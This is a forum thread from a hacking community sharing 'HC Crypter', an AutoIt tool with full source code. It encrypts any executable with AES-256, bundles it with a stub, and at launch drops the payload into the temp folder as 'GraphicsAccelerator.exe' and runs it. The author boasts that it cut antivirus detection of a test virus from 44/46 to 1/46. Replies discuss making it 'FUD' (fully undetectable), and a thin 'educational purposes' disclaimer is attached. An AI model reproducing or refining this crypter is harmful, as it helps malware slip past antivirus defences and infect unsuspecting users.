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[HC Official] HC Crypter v1.1 - Printable Version

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+--- Thread: [HC Official] HC Crypter v1.1 (/Thread-HC-Official-HC-Crypter-v1-1)

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[HC Official] HC Crypter v1.1 - Solixious - 03-02-2013

I guess everyone here knows what a crypter is used for. For those who are interested in knowing which encryption system is used here, it is AES-256 bit encryption.

Screen Shot :
[Image: Screen_4.jpg]
Please don't mind stupid looking screenie due to rounded edges :huh:

I encrypted a very well known test virus using this and the detection ratio went down from 44/46 to 1/46 {Just giving a stat}.

Virus Scan : vscan
One of the antiviruses detect it as infected file, but I can assure you that it is clean. If you are still paranoid about that 1/14 ratio, you should not download it then.

Download Link : HC Crypter

Cheers :lub:

Disclaimer : Please use this app for educational purpose only. We do not promote anything but ethical hacking...

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Source :


Crypter.au3

Code:
#include-once
#include "GUIRoundCorners.au3"
#include "WinGetClientInfo.au3"
#include<GUIConstants.au3>
#include<WindowsConstants.au3>
#include<Crypt.au3>
#include<GDIPlus.au3>

Opt("GUIOnEventMode"1)
$color1=0x090909
$color2=0xff0000
$color3=0x696969
$hWnd=GUICreate("Crypter",600,385,200,200,$WS_POPUP)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($hWnd)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")
_GuiRoundCorners_Lite($hWnd,50)
$header=GUICtrlCreateLabel("CRYPTER",200,30,200,30)
$about=GUICtrlCreateLabel("Made By : Solixious",450,360,125,250)
$hLab1=GUICtrlCreateLabel("Input File",30,200,100,25)
$hInp1=GUICtrlCreateInput("",130,200,300,25)
$hBut1=GUICtrlCreateButton("Browse",450,200,100,25)
$hLab2=GUICtrlCreateLabel("Output File",30,240,100,25)
$hInp2=GUICtrlCreateInput("",130,240,300,25)
$hBut2=GUICtrlCreateButton("Browse",450,240,100,25)
$hBut3=GUICtrlCreateButton("Encrypt",130,290,100,25)
$hBut4=GUICtrlCreateButton("Exit",250,290,100,25)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit")
GUICtrlSetOnEvent($hBut4,"quit")
GUICtrlSetOnEvent($hBut1,"browse1")
GUICtrlSetOnEvent($hBut2,"browse2")
GUICtrlSetOnEvent($hBut3,"encryptfile")
init()
GUISetState(@SW_SHOW,$hWnd)
While 1
WEnd

Func init()
   GUISetBkColor($color1,$hWnd)
   GUICtrlSetColor($header,$color2)
   GUICtrlSetColor($about,$color2)
   GUICtrlSetColor($hLab1,$color2)
   GUICtrlSetColor($hLab2,$color2)
   GUICtrlSetBkColor($hInp1,$color1)
   GUICtrlSetBkColor($hInp2,$color1)
   GUICtrlSetColor($hInp1,$color2)
   GUICtrlSetColor($hInp2,$color2)
   GUICtrlSetBkColor($hBut1,$color2)
   GUICtrlSetBkColor($hBut2,$color2)
   GUICtrlSetBkColor($hBut3,$color2)
   GUICtrlSetBkColor($hBut4,$color2)
   GUICtrlSetFont($header,25,1800)
   GUICtrlSetFont($hLab1,15)
   GUICtrlSetFont($hLab2,15)
   GUICtrlSetFont($hInp1,15)
   GUICtrlSetFont($hInp2,15)
   GUICtrlSetFont($hBut1,12)
   GUICtrlSetFont($hBut2,12)
   GUICtrlSetFont($hBut3,12)
   GUICtrlSetFont($hBut4,12)
EndFunc

Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
    #forceref $hWnd, $Msg, $wParam, $lParam
    _WinAPI_RedrawWindow($hWnd, 0, 0, $RDW_UPDATENOW)
    _GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
    _WinAPI_RedrawWindow($hWnd, 0, 0, $RDW_VALIDATE)
    Return $GUI_RUNDEFMSG
EndFunc

Func quit()
   _GDIPlus_GraphicsDispose($hGraphic)
   _GDIPlus_ImageDispose($hImage)
   _GDIPlus_Shutdown()
   Exit
EndFunc

Func browse1()
   $filepath=FileOpenDialog("Input File",@MyDocumentsDir,"All Files (*.*)",1,"",$hWnd)
   If $filepath <> "" Then
      GUICtrlSetData($hInp1,$filepath)
   EndIf
EndFunc

Func browse2()
   $filepath=FileSaveDialog("Output File",@MyDocumentsDir,"Executable Files (*.exe)",16,"",$hWnd)
   If $filepath <> "" Then
      GUICtrlSetData($hInp2,$filepath & ".exe")
   EndIf
EndFunc

Func encryptfile()
   $path1=GUICtrlRead($hInp1)
   $path2=GUICtrlRead($hInp2)
   If FileExists($path1) Then
      $marker=StringToBinary("SOLIXIOUS")
      $output=FileOpen($path2,2+8+16)
      $inputx1=FileOpen($path1,0+16)
      $data1=FileRead($inputx1)
      $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
      $stubdata=FileRead($stub)
      FileWrite($output,$stubdata)
      FileWrite($output,$marker)
      $data1=encrypt(BinaryToString($data1))
      FileWrite($output,StringToBinary($data1))
      FileClose($output)
      FileClose($inputx1)
      GUICtrlSetData($hInp1,"")
      GUICtrlSetData($hInp2,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_AES_256)
   Return $data
EndFunc

Stub.au3
Code:
#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=2 Then
      $ardata[2]=decrypt(BinaryToString($ardata[2]))
      $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
      FileWrite($file1,$ardata[2])
      FileClose($file1)
      ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_AES_256)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

GUIRoundCorners.au3
Code:
#include-once
#include "WinGetClientInfo.au3"
; #FUNCTION# ============================================================================================================================================
; Name...........: _GuiRoundCorners_Lite
; Description ...: Trimmed down version of GaryFrost's _GuiRoundCorners function. Intended to be used with windows without borders like WS_POPUP.
; Syntax ........: _GuiRoundCorners_Lite($h_win [, $i_radius])
; Parameters ....: $h_win - Window handle.
;                  $i_radius - [Optional] Radius of the round corner. Default value is 20.
; Return values .: Success - Returns 1
;                  Failure - Returns -1 and sets @error:
;                  |1 - _WinGetClientSize_Ex failed.
;                  |2 - CreateRoundRectRgn through dll call failed.
;                  |3 - SetWindowRgn through dll call failed.
; Remarks........: This function is intended to be used in my MsgBox_Tipped UDF therefore it has limited abilities compared to GaryFrost's original function.
; Author ........: GaryFrost
; Modified.......: Tip
;========================================================================================================================================================
Func _GuiRoundCorners_Lite($h_win, $i_radius = 20)
    Dim $pos, $ret, $ret2
    If Not WinExists($h_win) Then Return SetError(1,0,-1)
    Local $i_tip_temparray = _WinGetClientSize_Ex($h_win)
    If @error Then Return SetError(1,0,-1)

    $ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "long", 0, "long", 0, "long", $i_tip_temparray[0], "long", $i_tip_temparray[3], "long",$i_radius, "long", $i_radius)
    If $ret[0] Then
        $ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1)
        If $ret2[0] Then
            Return 1
        Else
             Return SetError(3,0,-1)
        EndIf
    Else
        Return SetError(2,0,-1)
    EndIf
EndFunc ;==>_GuiRoundCorners_Lite

; #FUNCTION# ============================================================================================================================================
; Name...........: _GuiRoundCorners_Ex
; Description ...: Modified version of GaryFrost's _GuiRoundCorners function. Intended to be used with windows without borders like WS_POPUP.
; Syntax ........: _GuiRoundCorners_Ex($h_win [, $i_radius[, $i_tip_type = False])
; Parameters ....: $h_win - Window handle.
;                  $i_radius - [Optional] Radius of the round corner. Default value is 20.
;                  $i_tip_type - [Optional] Determines which  corners will be round. These parameters are set to match the ones used in MsgBox_Tipped UDF.
;                  |1,"t","TOP" - Considers the window moves from/to top and rounds only bottom side corners.
;                  |2,"b","BOTTOM" - Considers the window moves from/to bottom and rounds only top side corners.
;                  |3,"l","LEFT" - Considers the window moves from/to left and rounds only right side corners.
;                  |4,"r","RIGHT" - Considers the window moves from/to left and rounds only right side corners.
; Return values .: Success - Returns 1
;                  Failure - Returns -1 and sets @error:
;                  |1 - _WinGetClientSize_Ex failed.
;                  |2 - CreateRoundRectRgn through dll call failed.
;                  |3 - SetWindowRgn through dll call failed.
; Remarks........: This function is intended to be used, as a replacement to GuiRoundCorners_Lite, in my MsgBox_Tipped UDF.
; Author ........: Tip
;========================================================================================================================================================
Func _GuiRoundCorners_Ex($h_win,$i_tip_radius = 20, $i_tip_type = False)
    Dim $pos, $ret, $ret2
    If Not WinExists($h_win) Then Return SetError(1,0,-1)
    Local $i_tip_temparray = _WinGetClientSize_Ex($h_win)
    If @error Then Return SetError(1,0,-1)
    ReDim $i_tip_temparray[6]
;~     $i_tip_temparray[4] = "The x-coordinate of the upper-left corner of the rounded rectangle."
;~     $i_tip_temparray[5] = "The y-coordinate of the upper-left corner of the rounded rectangle."
    Switch $i_tip_type
        Case "TOP","t", 1                        ; MsgGUI will slide from/to top-center
            $i_tip_temparray[3] = $i_tip_temparray[3]
            $i_tip_temparray[4] = 0
            $i_tip_temparray[5] = -$i_tip_radius
        Case "BOTTOM","b", 2                    ; MsgGUI will slide from/to bottom-center
            $i_tip_temparray[3] = $i_tip_temparray[3] + $i_tip_radius
            $i_tip_temparray[4] = 0
            $i_tip_temparray[5] = 0
        Case "LEFT","l", 3                        ; MsgGUI will slide from/to left-center
            $i_tip_temparray[0] = $i_tip_temparray[0]
            $i_tip_temparray[4] = -$i_tip_radius
            $i_tip_temparray[5] = 0
        Case "RIGHT","r", 4                        ; MsgGUI will slide from/to right-center
            $i_tip_temparray[0] = $i_tip_temparray[0] + $i_tip_radius
            $i_tip_temparray[4] = 0
            $i_tip_temparray[5] = 0
        Case Else
            $i_tip_temparray[4] = 0
            $i_tip_temparray[5] = 0
    EndSwitch

    Dim $pos, $ret, $ret2
    $ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "int", $i_tip_temparray[4], "int", $i_tip_temparray[5], "int", $i_tip_temparray[0], "int", $i_tip_temparray[3], "int",$i_tip_radius, "int", $i_tip_radius)
    If $ret[0] Then
        $ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1)
        If $ret2[0] Then
            Return 1
        Else
             Return SetError(3,0,-1)
        EndIf
    Else
        Return SetError(2,0,-1)
    EndIf
EndFunc ;==>_GuiRoundCorners_Ex

WinGetClientInfo.au3
Code:
#include-once
; #FUNCTION# ============================================================================================================================================
; Name...........:  _WinGetClientSize_Ex
; Description ...: Retrives specified windows actual client size including menubar.
; Syntax ........: _WinGetClientSize_Ex($i_tip_Hwnd)
; Parameters ....: $i_tip_Hwnd - Window handle
; Return values .: Success - Returns an array.
;                  |array[0] = Width
;                  |array[1] = Height
;                  |array[2] = Height lost because of menu
;                  |array[3] = Actual client height (Height + Height lost because of menu)
;                  Failure - Returns -1 and sets @error:
;                  |1 - Specified window does not exist.
;                  |2 - WinGetClientSize failed.
; Author ........: Tip
;
; Remarks........: This function is intended to be used as an internal helper function in my scripts.
;========================================================================================================================================================
Func _WinGetClientSize_Ex($i_tip_Hwnd)
    If Not WinExists($i_tip_Hwnd) Or Not IsHWnd($i_tip_Hwnd) Then Return SetError(1,0,-1)
    Local $i_tip_MenuExists, $i_tip_MenuExists, $i_tip_aRet

    $i_tip_MenuExists = DllCall("User32.dll", "handle", "GetMenu", "hwnd", $i_tip_Hwnd)         ; We are checking if parent gui has a menu.
    If @error Then
        $i_tip_MenuExists = 0
    Else
        $i_tip_MenuExists = $i_tip_MenuExists[0]
        If $i_tip_MenuExists  > 0 Then
            $i_tip_MenuExists  = 20
        Else
            $i_tip_MenuExists  = 0
        EndIf
    EndIf

    $i_tip_aRet = WinGetClientSize($i_tip_Hwnd)
    If IsArray($i_tip_aRet) = 0 Then
        Return SetError(2,0,-1)
    Else
        ReDim $i_tip_aRet[4]
        $i_tip_aRet[2] = $i_tip_MenuExists
        $i_tip_aRet[3] = $i_tip_aRet[1] + $i_tip_aRet[2]
        Return $i_tip_aRet
    EndIf
EndFunc ;==>_WinGetClientSize_Ex

; #FUNCTION# ============================================================================================================================================
; Name...........:  _WinGetClientPos_Ex
; Description ...: Retrives specified windows actual client position considering menubar.
; Syntax ........: _WinGetClientPos_Ex($i_tip_Hwnd, $i_tip_ConsiderMenu = False)
; Parameters ....: $i_tip_Hwnd - Window handle.
;                  $i_tip_ConsiderMenu - If true existing menu bar is considered while computing client position.
; Return values .: Success - Returns an array.
;                  |array[0] = Clients position to left (x).
;                  |array[1] = Clients position to top (y).
;                  |array[2] = Clients width
;                  |array[3] = Actual client height (Height + Height lost because of menu)
;                  |array[4] = X Difference between WinPos and ClientPos(BorderThickness)
;                  |array[5] = Y Difference between WinPos and ClientPos (TitleBar Thickness)
;                  Failure - Returns -1 and sets @error:
;                  |1 - Specified window does not exist.
;                  |2 - WinGetClientSize failed.
; Author ........: Tip
;
; Remarks........: This function is intended to be used as an internal helper function in my scripts.
;========================================================================================================================================================
Func _WinGetClientPos_Ex($i_tip_Hwnd, $i_tip_ConsiderMenu = False)
    If Not WinExists($i_tip_Hwnd) Or Not IsHWnd($i_tip_Hwnd) Then Return SetError(1,0,-1)
    Local $i_tip_WinPos, $i_tip_ClientSize, $i_tip_BorderThickness, $i_tip_aRet, $i_tip_TitleBarThickness

    $i_tip_WinPos = WinGetPos($i_tip_Hwnd)
    $i_tip_ClientSize = _WinGetClientSize_Ex($i_tip_Hwnd)

    $i_tip_BorderThickness = ($i_tip_WinPos[2] - $i_tip_ClientSize[0])/2
    $i_tip_TitleBarThickness =  ($i_tip_WinPos[3] - $i_tip_ClientSize[1]) - $i_tip_BorderThickness
    Dim $i_tip_aRet[6] = [$i_tip_WinPos[0] + $i_tip_BorderThickness, $i_tip_WinPos[1] + $i_tip_TitleBarThickness, $i_tip_ClientSize[0], $i_tip_ClientSize[1],$i_tip_BorderThickness,$i_tip_TitleBarThickness]

    If $i_tip_ConsiderMenu = True And $i_tip_ClientSize[2] > 0 Then
        $i_tip_aRet[1] -= $i_tip_ClientSize[2]
        $i_tip_aRet[3] = $i_tip_ClientSize[3]
        $i_tip_aRet[5] -= $i_tip_ClientSize[2]
    EndIf

    Return $i_tip_aRet
EndFunc ;==>_WinGetClientPos_Ex

WinSetClientSize.au3
Code:
#include-once
#include<WinGetClientInfo.au3>

; #FUNCTION# ============================================================================================================================================
; Name...........:  _WinSetClientSize
; Description ...: Sets specified windows actual client size.
; Syntax ........: _WinSetClientSize($i_tip_Hwnd,$i_tip_width, $i_tip_height)
; Parameters ....: $i_tip_Hwnd - Window handle.
;                  $i_tip_width -  Desired width.
;                  $i_tip_height -  Desired height.
; Return values .: Success - Returns 1
;                  Failure - Returns -1 and sets @error:
;                  |1 - Specified window does not exist.
;                  |2 - WinGetPos failed.
;                  |3 - WinGetClientSize_Ex failed.
; Author ........: Tip
;
;========================================================================================================================================================
Global $tip_WinClientSize_WinSize_Diff

Func _WinSetClientSize($i_tip_hwnd,$i_tip_width, $i_tip_height)
    If Not WinExists($i_tip_hwnd) Then    Return SetError(1,0,-1)

    If BitAnd(WinGetState($i_tip_hwnd),16) Or BitAnd(WinGetState($i_tip_hwnd),2) = 0 Then Return SetError(2,0,-1)

    Local $i_tip_WinPos = WinGetPos($i_tip_hwnd)
    If @error Then SetError(2,0,-1)
    Local $i_tip_WinClientSize = _WinGetClientSize_Ex($i_tip_hwnd)
    If $i_tip_WinClientSize = -1 Then    Return SetError(3,0,-1)
    If $i_tip_width = -1 Or $i_tip_width = "" Or $i_tip_width = Default Then $i_tip_width = $i_tip_WinClientSize[0]
    If $i_tip_height = -1 Or $i_tip_height = "" Or $i_tip_height = Default Then $i_tip_height = $i_tip_WinClientSize[3]

    If $i_tip_width < 0 Then  $i_tip_width = 0
    If $i_tip_height < 0 Then $i_tip_height = 0

    If $i_tip_WinClientSize[0] = $i_tip_width And $i_tip_WinClientSize[3] = $i_tip_height Then Return 0

    Local $i_tip_WinClientSize_WinSize_Difference = _Calculate_WinClientSize_WinSize_Difference()
    If IsArray($i_tip_WinClientSize_WinSize_Difference) Then
        If $i_tip_width > 0 Then $i_tip_width += $i_tip_WinClientSize_WinSize_Difference[0]
        If $i_tip_height > 0 Then $i_tip_height += $i_tip_WinClientSize_WinSize_Difference[1]
    EndIf

    WinMove($i_tip_hwnd,"",$i_tip_WinPos[0],$i_tip_WinPos[1],$i_tip_width,$i_tip_height)
    Return 1
EndFunc

; #FUNCTION# ============================================================================================================================================
; Name...........:  _Calculate_WinClientSize_WinSize_Difference
; Description ...: Calculates the difference between WinSize(WinMove) and WinClientSize(WinGetClientSize)
; Syntax ........: _Calculate_WinClientSize_WinSize_Difference()
; Return values .: Success - Returns an array:
;                  |array[0] = Width difference.
;                  |array[1] = Height difference.
;                  Failure - Returns -1 and sets @error:
;                  |1 - GUICreate failed.
;                  |2 - _WinGetClientSize_Ex failed.
;                  |3 - WinMove failed.
;                  |4 - GUIDelete failed.
; Author ........: Tip
;
;========================================================================================================================================================
Func _Calculate_WinClientSize_WinSize_Difference()
    If IsArray($tip_WinClientSize_WinSize_Diff) And UBound($tip_WinClientSize_WinSize_Diff) = 2 Then Return $tip_WinClientSize_WinSize_Diff ; If this function has already been called there is no need to calculate again.

    Local $i_tip_tempvar = GUICreate("Tips Control GUI",200,200,-1000,-1000)
    If @error Then Return SetError(1,0,-1)
    Local $i_tip_ClientSize = _WinGetClientSize_Ex($i_tip_tempvar)
    If @error Then Return SetError(2,0,-1)
    WinMove($i_tip_tempvar,"",-1000,-1000,200,200)
    If @error Then Return SetError(3,0,-1)
    Local $i_tip_ClientSize_Modified = _WinGetClientSize_Ex($i_tip_tempvar)
    If @error Then Return SetError(2,0,-1)
    GUIDelete($i_tip_tempvar)
    If @error Then Return SetError(4,0,-1)

    Local $i_tip_returnarray
    Dim $i_tip_returnarray[2]
    $i_tip_returnarray[0] = $i_tip_ClientSize[0] - $i_tip_ClientSize_Modified[0]
    $i_tip_returnarray[1] = $i_tip_ClientSize[1] - $i_tip_ClientSize_Modified[1]

    Global $tip_WinClientSize_WinSize_Diff = $i_tip_returnarray
    Return $i_tip_returnarray
EndFunc

-------------------------------------------------------------------------------------------

Updated to HC Crypter v1.1

It is nothing different from the previous version. I've just changed the algorithm used and few other little things to make this a little more UD than what the first version had become eventually. But this version isn't FUD either.

Download link : HC Crypter.rar

RE: [HC Official] HC Crypter - Deque - 03-02-2013

Very nice. A HC crypter. Which language did you use? Is it a runtime or scantime crypter?

RE: [HC Official] HC Crypter - SergenteJoker98 - 03-02-2013

I say so, anyhow, that I think the only one that detected the virus also encrypted was Avira.

RE: [HC Official] HC Crypter - Deque - 03-02-2013

(03-02-2013, 09:22 PM)SergenteJoker98 Wrote: I say so, anyhow, that I think the only one that detected the virus also encrypted was Avira.

No. It's STOPZilla. Look at the virus scan.

RE: [HC Official] HC Crypter - SergenteJoker98 - 03-02-2013

I did not see link ):

RE: [HC Official] HC Crypter - Solixious - 03-02-2013

It is a scan-time crypter and I have made it in autoit3. I'm trying to figure out how to make a run-time crypter.. Biggrin

RE: [HC Official] HC Crypter - Coder-san - 03-03-2013

Nice. Take a look at [link=http://www.hackcommunity.com/Thread-Crypters-Everything-you-need-to-know-about]my thread[/link] in the crypter section, it may help you a bit for making it runtime.

Note: For whoever is making an official HC app, please write a disclaimer that it's used only for educational purposes. Since, HC is branded as an ethical hacking forum, even though we provide, we do not promote the "usage" for said means but for educational purposes.

RE: [HC Official] HC Crypter - belushka - 03-07-2013

does scantime FUD means antivirus can't detect it when it's installed on the drive and runtime FUD means that the antivirus can't block it when it's about to be installed? right?

RE: [HC Official] HC Crypter - Deque - 03-07-2013

(03-07-2013, 07:34 AM)belushka Wrote: does scantime FUD means antivirus can't detect it when it's installed on the drive and runtime FUD means that the antivirus can't block it when it's about to be installed? right?

Read Coder-san's thread: http://www.hackcommunity.com/Thread-Crypters-Everything-you-need-to-know-about

RE: [HC Official] HC Crypter - Solixious - 03-11-2013

(03-10-2013, 05:24 PM)Nevalyashka Wrote: How to decrypt file?

It will decrypt itself when it has to execute